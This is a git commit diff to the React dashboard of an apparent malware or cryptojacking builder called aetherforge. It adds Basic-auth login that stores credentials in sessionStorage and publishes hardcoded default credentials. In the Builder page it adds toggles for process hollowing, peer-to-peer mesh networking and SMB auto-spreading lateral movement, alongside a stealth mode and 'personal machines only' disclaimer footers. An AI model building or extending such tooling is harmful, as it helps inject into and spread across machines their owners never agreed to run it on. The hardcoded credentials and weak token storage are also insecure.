Broad bug hunt: auth flow, WS edge cases, and build hygiene.
Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
This commit is contained in:
24
server/web/src/api/auth.ts
Normal file
24
server/web/src/api/auth.ts
Normal file
@@ -0,0 +1,24 @@
|
||||
const AUTH_KEY = 'aetherforge_auth';
|
||||
|
||||
export function getStoredAuth(): string | null {
|
||||
try {
|
||||
return sessionStorage.getItem(AUTH_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export function setStoredAuth(username: string, password: string) {
|
||||
const token = btoa(`${username}:${password}`);
|
||||
sessionStorage.setItem(AUTH_KEY, token);
|
||||
}
|
||||
|
||||
export function clearStoredAuth() {
|
||||
sessionStorage.removeItem(AUTH_KEY);
|
||||
}
|
||||
|
||||
export function authHeaders(): Record<string, string> {
|
||||
const token = getStoredAuth();
|
||||
if (!token) return {};
|
||||
return { Authorization: `Basic ${token}` };
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
|
||||
import { authHeaders } from './auth';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
|
||||
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
||||
const res = await fetch(`${API_BASE}${url}`, {
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record<string, string>) },
|
||||
...options,
|
||||
});
|
||||
if (!res.ok) {
|
||||
@@ -44,7 +45,11 @@ export const api = {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
|
||||
return fetch(`${API_BASE}/builder/build`, {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
@@ -70,7 +75,7 @@ export const api = {
|
||||
body: JSON.stringify({ name, data }),
|
||||
}),
|
||||
deleteBlueprint: (name: string) =>
|
||||
fetchJSON<{ success: string; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
|
||||
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
|
||||
method: 'DELETE',
|
||||
}),
|
||||
|
||||
@@ -95,4 +100,10 @@ export const api = {
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
createUser: (username: string, password: string) =>
|
||||
fetchJSON<{ success: boolean }>('/users', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ username, password }),
|
||||
}),
|
||||
};
|
||||
|
||||
@@ -27,12 +27,15 @@ export default function AgentsPage() {
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (isConnected) {
|
||||
setAgents(liveAgents);
|
||||
if (selectedAgent) {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) setSelectedAgent(updated);
|
||||
}
|
||||
if (!isConnected) return;
|
||||
setAgents(liveAgents);
|
||||
if (!selectedAgent) return;
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
}
|
||||
}, [liveAgents, isConnected, selectedAgent?.id]);
|
||||
|
||||
@@ -237,6 +240,9 @@ export default function AgentsPage() {
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -756,6 +756,14 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
|
||||
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
|
||||
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
|
||||
</label>
|
||||
<FieldHint field="process_hollowing" />
|
||||
</div>
|
||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||||
@@ -873,9 +881,9 @@ export default function BuilderPage() {
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="AI Autonomy (AI自治)"
|
||||
title="Autonomy, Mesh & Lateral Movement"
|
||||
badge="baked"
|
||||
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
|
||||
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
@@ -920,6 +928,22 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
|
||||
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
|
||||
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
|
||||
</label>
|
||||
<FieldHint field="mesh_p2p" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.auto_spread}
|
||||
onChange={(e) => updateField('auto_spread', e.target.checked)} />
|
||||
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
|
||||
</label>
|
||||
<FieldHint field="auto_spread" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="preflight-panel card">
|
||||
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -291,6 +291,9 @@ export default function DashboardPage() {
|
||||
</table>
|
||||
</NeonCard>
|
||||
</section>
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -125,6 +125,9 @@ export default function GuidePage() {
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import type { ServerConfig } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
@@ -11,6 +12,11 @@ export default function SettingsPage() {
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [saveMessage, setSaveMessage] = useState('');
|
||||
const [newUser, setNewUser] = useState('');
|
||||
const [newPass, setNewPass] = useState('');
|
||||
const [sessionUser, setSessionUser] = useState('');
|
||||
const [sessionPass, setSessionPass] = useState('');
|
||||
const [userMsg, setUserMsg] = useState('');
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -102,6 +108,38 @@ export default function SettingsPage() {
|
||||
e.target.value = '';
|
||||
};
|
||||
|
||||
const handleSessionLogin = () => {
|
||||
if (!sessionUser || !sessionPass) return;
|
||||
setStoredAuth(sessionUser, sessionPass);
|
||||
setUserMsg('Session login saved — API calls from this browser will authenticate.');
|
||||
setTimeout(() => setUserMsg(''), 4000);
|
||||
};
|
||||
|
||||
const handleSessionLogout = () => {
|
||||
clearStoredAuth();
|
||||
setSessionUser('');
|
||||
setSessionPass('');
|
||||
setUserMsg('Session login cleared.');
|
||||
setTimeout(() => setUserMsg(''), 3000);
|
||||
};
|
||||
|
||||
const handleAddUser = async () => {
|
||||
if (!newUser || !newPass) return;
|
||||
try {
|
||||
await api.createUser(newUser, newPass);
|
||||
setUserMsg(`User "${newUser}" added successfully!`);
|
||||
if (!getStoredAuth()) {
|
||||
setStoredAuth(newUser, newPass);
|
||||
}
|
||||
setNewUser('');
|
||||
setNewPass('');
|
||||
setTimeout(() => setUserMsg(''), 3000);
|
||||
} catch {
|
||||
setUserMsg('Failed to save user — sign in under Browser session first.');
|
||||
setTimeout(() => setUserMsg(''), 4000);
|
||||
}
|
||||
};
|
||||
|
||||
if (loading) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -416,7 +454,57 @@ export default function SettingsPage() {
|
||||
</label>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section">
|
||||
<h2 className="font-display">Access Control</h2>
|
||||
<p className="section-desc">
|
||||
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
|
||||
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Browser session — username</label>
|
||||
<input type="text" className="input" placeholder="drjones" value={sessionUser}
|
||||
onChange={(e) => setSessionUser(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Browser session — password</label>
|
||||
<input type="password" className="input" value={sessionPass}
|
||||
onChange={(e) => setSessionPass(e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
|
||||
<button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
|
||||
Save session login
|
||||
</button>
|
||||
<button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
|
||||
Clear session
|
||||
</button>
|
||||
{getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">New Username</label>
|
||||
<input type="text" className="input" placeholder="admin" value={newUser}
|
||||
onChange={(e) => setNewUser(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">New Password</label>
|
||||
<input type="password" className="input" placeholder="••••••••" value={newPass}
|
||||
onChange={(e) => setNewPass(e.target.value)} />
|
||||
</div>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
|
||||
Add User
|
||||
</button>
|
||||
{userMsg && (
|
||||
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
</div>
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user